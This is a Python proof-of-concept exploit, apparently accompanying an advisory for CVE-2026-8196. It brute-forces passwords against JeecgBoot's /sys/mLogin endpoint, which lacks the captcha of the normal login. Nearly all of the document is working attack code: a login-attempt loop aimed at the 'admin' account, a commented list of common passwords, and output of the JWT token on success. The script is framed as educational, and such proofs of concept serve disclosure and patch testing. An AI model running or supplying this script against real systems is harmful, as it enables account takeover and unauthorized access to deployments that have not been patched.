JeecgBoot mLogin Endpoint CAPTCHA Bypass Enabling Credential Brute Force (CVE-2026-8196)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104

"""
    How to use:

    Install requests: pip install requests
    Change TARGET to your test JeecgBoot instance
    Run the script

    Key Educational Points:

    /sys/login → enforces captcha
    /sys/mLogin → no captcha, same credentials, returns full JWT token
    No rate limiting or account lockout (as shown in the original report)
    Enables efficient brute-force / credential stuffing
    CVE-2026-8196
"""
import requests
import time
import json
from typing import Dict, Optional

class JeecgBootBruteForcePoC:
    def __init__(self, target_url: str, delay: float = 0.1):
        self.target_url = target_url.rstrip('/')
        self.mlogin_url = f"{self.target_url}/sys/mLogin"
        self.login_url = f"{self.target_url}/sys/login"  # For comparison
        self.delay = delay
        self.session = requests.Session()
        self.session.headers.update({
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (compatible; JeecgPoC-Edu/1.0)"
        })

    def test_standard_login(self, username: str, password: str) -> Dict:
        """Demonstrate that normal login requires captcha"""
        payload = {
            "username": username,
            "password": password
        }
        response = self.session.post(self.login_url, json=payload)
        return response.json()

    def mlogin(self, username: str, password: str) -> Dict:
        """Bypass captcha using mLogin endpoint"""
        payload = {
            "username": username,
            "password": password
            # No captcha field needed!
        }
        
        response = self.session.post(self.mlogin_url, json=payload)
        
        try:
            return response.json()
        except:
            return {"error": "Invalid JSON response", "raw": response.text}

    def brute_force(self, username: str, password_list: list, max_attempts: int = 50):
        """Simple brute-force demonstration (for education only)"""
        print(f"[+] Starting brute-force demo against {username} on {self.mlogin_url}")
        print(f"[+] No captcha, no rate limiting demonstrated\n")
        
        for i, password in enumerate(password_list[:max_attempts], 1):
            result = self.mlogin(username, password)
            success = result.get("success", False)
            
            status = "✅ SUCCESS" if success else "❌ Failed"
            message = result.get("message", "No message")
            
            print(f"[{i:03d}] {status} | Password: {password:<15} | Msg: {message}")
            
            if success:
                print("\n🎉 LOGIN SUCCESSFUL!")
                print(json.dumps(result.get("result", {}), indent=2, ensure_ascii=False))
                break
                
            time.sleep(self.delay)  # Be responsible in testing

def main():
    # ================== CONFIGURATION ==================
    TARGET = "http://your-target:8080/jeecg-boot"   # Change this!
    USERNAME = "admin"
    # ===================================================
    
    poc = JeecgBootBruteForcePoC(TARGET)
    
    print("=== JeecgBoot mLogin Captcha Bypass PoC (Educational) ===\n")
    
    # 1. Show standard login fails without captcha
    print("1. Testing standard /sys/login (should require captcha):")
    std_result = poc.test_standard_login(USERNAME, "123456")
    print(json.dumps(std_result, indent=2, ensure_ascii=False))
    print()
    
    # 2. Demonstrate bypass with mLogin
    print("2. Testing /sys/mLogin (captcha bypassed):")
    result = poc.mlogin(USERNAME, "123456")  # Change password as needed
    print(json.dumps(result, indent=2, ensure_ascii=False))
    
    # 3. Optional: Brute force demo (educational only!)
    # passwords = ["123456", "admin", "password", "jeecg", "12345678", ...]
    # poc.brute_force(USERNAME, passwords, max_attempts=20)

if __name__ == "__main__":
    main()